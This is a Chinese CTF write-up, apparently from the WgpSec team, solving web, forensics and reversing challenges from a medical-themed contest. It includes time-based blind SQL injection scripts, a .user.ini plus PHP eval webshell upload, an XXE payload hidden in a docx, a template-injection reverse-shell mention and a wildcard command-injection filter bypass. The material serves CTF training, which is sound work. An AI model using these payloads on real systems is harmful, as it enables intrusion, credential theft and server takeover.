某医疗行业CTF WP

admin 2021年7月13日02:38:50评论363 views字数 3824阅读12分44秒阅读模式

点击蓝字

某医疗行业CTF WP

关注我们



声明

本文作者:CTF战队
本文字数:2000

阅读时长:30~40分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



前言


某医疗CTF比赛


一、

签到

右键查看源代码

二、

easy_cms

数据库拿到前台密码

admin

admin888

审计发现SQL注入点,脚本一把梭


# -*-coding:utf-8-*-import requestsimport time
# url inputurl = ''dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ,@{}()[]!$^&/-~+=#?*._%`'
headers = {"Content-Type": "application/x-www-form-urlencoded"}# time sql injectiondef time_sql(): flag = '' for i in range(1,1000): low = 32 high = 127 while low < high: mid = (low + high) >> 1 payload = '1-sleep(if(ascii(substr((select(A_pwd)from(SL_admin)),{},1))>{},5,0))=1234'.format(i, mid) before_time = time.time() print(payload) res = requests.post(url=url, data=payload, headers=headers) after_time = time.time() offset = after_time - before_time if (offset > 5): low = mid + 1 else: high = mid
if low != 32: flag += chr(low) print(flag) else: break
if __name__ == '__main__': time_sql()

    拿到密码  123qwer@c 

然后进入后台上传 user.ini

auto_prepend_file=1.txt

上传1.txt, 内容为一句话木马

<?php eval($_POST[a]);?>

访问同目录下的index.php, 然后蚁剑 getshell, 根目录下拿flag


三、

病假管理系统


某医疗行业CTF WP

参数有过滤,时间盲注

可以跑数据 10.1.48-MariaDB

sql 执行后应该只会返回用户名密码错误,不会返回正确结果,但是会执行语句

发现有过滤select,把字段拼在后面不需要select

某医疗行业CTF WP


import requestsimport time
url=''formatt="||if(ascii(substr(password,{},1))between/**/{}/**/and/**/{},sleep(3),1)#"
flag=''for i in range(1,50): for j in range(44,128): starTime=time.time()                yj=formatt.format(int(i),int(j),int(j))                payload={"username":"admin\","password":yj} r=requests.post(url,data=payload) if((time.time()-starTime)>3): flag+=chr(j) print(flag) breakprint('the flag is'+flag)

拿到密码,直接登陆

2447daf21339563964a78b2164574af4


后台点击文件可以下载,把docx解包,看看 moban.docx 怎么找到的 title

某医疗行业CTF WP

改这个文件,然后重新打包

某医疗行业CTF WP

不知道是啥模板,可能是xxe,改那个文件

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///flag">]><cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>&xxe;</dc:title><dc:subject></dc:subject><dc:creator></dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified></cp:coreProperties>


读 flag

某医疗行业CTF WP

四、

super_hacker

提示:Via 头需要有值;X-Forwarded-For 存在smarty的模板注入

模板注入,有过滤

某医疗行业CTF WP

可以用 "t" 绕过空格弹shell出来,写一个 webshell,蚁剑连进去 find 找 flag

find / -name flag

在 /prom/flag 中发现 flag

find /* -name "flag" | xargs grep "flag"  直接弹flag


四、

easeweb1 


改 Client-Ip:127.0.0.1



五、

easeweb2


<?phperror_reporting(0);if(isset($_GET['shell'])){$shell = $_GET['shell'];if(!preg_match("/;|[a-z]|`|%|x09|x26|>|</i", $shell) && strlen($shell)<25){system($shell);// flag is in /flag.txt}    }else{highlight_file(__FILE__);}


?shell=/???/????64 /????.???

转base64即可



六、

医学影像


# -*-coding:utf-8-*-import os
def create_pic(n): for num in n: cmd = f"dd if=IM-0001-{num}.dcm bs=1 count=1024 skip=309880 of=file{num}" os.system(cmd)
if __name__ == "__main__": file = [] pic = [] for i in range(0, 221): num = "%04d" % i pic.append(num) file.append(f"file{num}") create_pic(pic) os.system('cat file* > newfile.raw') #拼接图片

某医疗行业CTF WP

然后整合到一个raw文件下, ps分辨率1024*221出

某医疗行业CTF WP


六、

longlong 


elf文件,很多地方不能看伪代码,主要原因在这里

某医疗行业CTF WP

这道题是去符号的go语言逆向,如果有正版ida7.6,就可以反编译。如果用idagolanghelper,可以反编译得到main_main,不过其他还是看不到,在字符串李,找到一个奇怪的部分

某医疗行业CTF WP

但是不能反编译,这种题,大师傅建议,边看汇编,边猜,ghidra能看到代码,但是太乱了

https://www.cnblogs.com/0yst3r-2046/p/11797018.html

在网上找到,这段是一个加密,有在线解密的网网站

解密完事之后得到

某医疗行业CTF WP

所以这个地方对应的就是主函数,因为运行这个程序,就会显示这个,然后让输入字符串,用GHIDRA找到这里,能看到代码,还是很乱

某医疗行业CTF WP

某医疗行业CTF WP



七、

base64编码


base64解码 base32解码 hex解码

 



后记



关注公众号回复加群可加入交流群~

欢迎有想法的小伙伴一起加入团队学习~

[email protected] 




作者



某医疗行业CTF WP

狼组CTF战队

勇于探索未知



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


某医疗行业CTF WP
某医疗行业CTF WP


本文始发于微信公众号(WgpSec狼组安全团队):某医疗行业CTF WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月13日02:38:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某医疗行业CTF WPhttps://cn-sec.com/archives/420705.html

发表评论

匿名网友 填写信息